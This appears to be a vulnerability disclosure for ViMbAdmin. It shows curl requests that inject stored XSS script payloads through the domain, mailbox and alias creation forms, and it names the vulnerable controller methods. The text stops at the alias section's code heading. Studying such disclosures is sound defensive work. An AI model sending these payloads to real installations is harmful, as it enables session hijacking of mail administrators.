Proof of Concept

Domain creation form

Exploit

The domain creation form is vulnerable to a stored XSS vulnerability, through the domain and transport variables:

curl 'http://<ip>/domain/add' -H 'Cookie: VIMBADMIN3=<SESSIONID>;' --data 'domain=testdomain%22%3E%3Cscript%3Ealert%28%27xss domain%27%29%3C%2Fscript%3E&description=none&backupmx=0&active=0&active=1&max_aliases=0&max_mailboxes=0&transport=virtual%22%3E%3Cscript%3Ealert%28%27XSS virtual%27%29%3C%2Fscript%3E' --compressed ;

The payload gets injected inside the http://<ip>/domain/list page.

Vulnerable code

The vulnerable code is located in the addAction() method of the <vimbadmin directory>/application/controllers/DomainController.php file.

Mailbox creation form

Exploit

The mailbox creation form is vulnerable to a stored XSS vulnerability, in the name variable:

curl 'http://<ip>/domain/add/did/<domain id>' -H 'Cookie: VIMBADMIN3=<SESSIONID>' --data 'local_part=test&domain=<domain id>&name=test%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&password=<password>&quota=0&alt_email=&cc_welcome_email='

The payload gets injected inside the http://<ip>/mailbox/list page.

Vulnerable code

The vulnerable code is located in the addAction() method of the <vimbadmin directory>/application/controllers/MailboxController.php file.

Alias creation form

Exploit

The alias creation form is vulnerable to a stored XSS vulnerability, in the goto variable:

curl 'http://<ip>/alias/add/did/<domain id>' -H 'Cookie: VIMBADMIN3=<SESSIONID>' --data 'local_part=test&domain=4&goto%5B%5D=test%40test.com%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E'

The payload gets injected inside the http://<ip>/alias page.

Vulnerable code
